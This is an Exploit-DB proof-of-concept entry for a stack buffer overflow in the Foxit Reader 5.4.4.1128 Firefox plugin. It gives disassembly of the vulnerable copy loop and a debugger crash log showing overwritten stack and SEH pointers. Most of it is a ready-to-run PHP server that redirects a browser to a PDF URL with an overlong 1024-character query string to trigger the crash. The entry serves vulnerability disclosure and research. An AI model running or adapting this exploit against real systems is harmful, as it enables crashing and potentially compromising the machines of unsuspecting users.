Exploit-DB #23944
Description: Foxit Reader 5.4.4.1128 Firefox Plugin - 'npFoxitReaderPlugin.dll' Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2013-01-07
Author: rgod

Exploit:
<?php
/*
Foxit Reader <= 5.4.4.1128 Plugin for Firefox npFoxitReaderPlugin.dll Overlong 
Query String Remote Stack Buffer Overflow PoC --------------------------- rgod

(listener)

Tested against Microsoft Windows
Mozilla Firefox 17.0.1
Foxit Reader 5.4.3.0920
Foxit Reader 5.4.4.1128

File: npFoxitReaderPlugin.dll
Version: 2.2.1.530

Product url: http://www.foxitsoftware.com/downloads/
Last version setup file: FoxitReader544.11281_enu_Setup.exe

Usage:
Launch from the command line, then browse port 6666 with Firefox.
You can test it also through this url:

http://192.168.0.1/x.pdf?[A x 1024]

File must be existing or the server should be responding with
the proper Content-Type header.

vulnerable code, npFoxitReaderPlugin.dll:

;------------------------------------------------------------------------------
 L1000162F:
  		push	ebx
  		push	esi
  		push	edi
  		mov	edi,ebp
  		or	ecx,FFFFFFFFh
  		xor	eax,eax
  		xor	ebx,ebx
  		xor	esi,esi
  		repne scasb
  		not	ecx
  		dec	ecx
  		test	ecx,ecx
  		jle	L100016E4
 L1000164A:
  		mov	al,[esi+ebp]
  		mov	word ptr [esp+18h],0000h
  		cmp	al,25h
  		jz 	L10001661
  		mov	ecx,[esp+1Ch]
  		mov	[ebx+ecx],al
  		jmp	L100016CE
 L10001661:
  		mov	al,[esi+ebp+01h]
  		cmp	al,30h
  		jl 	L1000166D
  		cmp	al,39h
  		jle	L1000167D
 L1000166D:
  		cmp	al,41h
  		jl 	L10001675
  		cmp	al,46h
  		jle	L1000167D
 L10001675:
  		cmp	al,61h
  		jl 	L100016C6
  		cmp	al,66h
  		jg 	L100016C6
 L1000167D:
  		mov	dl,[esi+ebp+01h]
  		inc	esi
  		inc	esi
  		lea	ecx,[esp+10h]
  		mov	[esp+18h],dl
  		push	ecx
  		mov	al,[esi+ebp]
  		lea	edx,[esp+1Ch]
  		push	L100450D4
  		push	edx
  		mov	[esp+25h],al
  		call	SUB_L10006421
  		mov	eax,[esp+1Ch]
  		lea	ecx,[esp+24h]
  		push	eax
  		push	L100450D0
  		push	ecx
  		call	SUB_L100063CF
  		mov	eax,[esp+34h]
  		mov	dl,[esp+30h]
  		add	esp,00000018h
  		mov	[ebx+eax],dl
  		jmp	L100016CE
 L100016C6:
  		mov	ecx,[esp+1Ch]
  		mov	byte ptr [ebx+ecx],25h
 L100016CE:
  		inc	ebx
  		mov	edi,ebp
  		or	ecx,FFFFFFFFh
  		xor	eax,eax
  		inc	esi
  		repne scasb
  		not	ecx
  		dec	ecx
  		cmp	esi,ecx
  		jl 	L1000164A
 L100016E4:
  		mov	edx,[esp+1Ch]
  		pop	edi
  		pop	esi
  		mov	eax,00000001h
  		mov	byte ptr [ebx+edx],00h
  		pop	ebx
  		pop	ebp
  		pop	ecx
  		retn
;------------------------------------------------------------------------------

this copy loop ends up in overwriting stack pointers, then 
(by attaching to plugin-container.exe):

(f48.1778): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0076ed4c ebx=00000341 ecx=002cf414 edx=002cf414 esi=41414141 edi=0076e9e8
eip=10016852 esp=002cf3f8 ebp=75eacdf8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
npFoxitReaderPlugin!NP_GetEntryPoints+0x15672:
10[PII_REDACTED]            mov     dword ptr [esi],eax  ds:0023:41414141=????????
...
Attempt to write to address 41414141
...

also SEH pointers are overwritten
*/

error_reporting(0);

set_time_limit(0);

$port = 6666;

$____redirect = "HTTP/1.1 301 Moved Permanently\r\n".
                "Server: Apache\r\n".
                "Location: /x.pdf?".str_repeat("A",1024)."\r\n".
                "Content-Type: text/html\r\n\r\n";

$____boom     = "HTTP/1.1 200 OK\r\n".
                "Server: Apache\r\n".
                "Accept-Ranges: bytes\r\n".
                "Content-Length: 60137\r\n".
                "Content-Type: application/pdf\r\n".
                "Connection: keep-alive\r\n\r\n";

$socket = stream_socket_server("tcp://0.0.0.0:".$port, $errno, $errstr);

if (!$socket) {
  echo "$errstr ($errno)\n";
} else {
  echo "Listening on public tcp port ".$port." \n";  
  while ($conn = stream_socket_accept($socket)) {
    $line=fgets($conn);
    echo $line."\n";
    if (strpos($line,".pdf")){
      fwrite($conn,$____boom);
    }
    else {
      fwrite($conn,$____redirect);
    }
    fclose($conn);
  }
  fclose($socket);
}
?>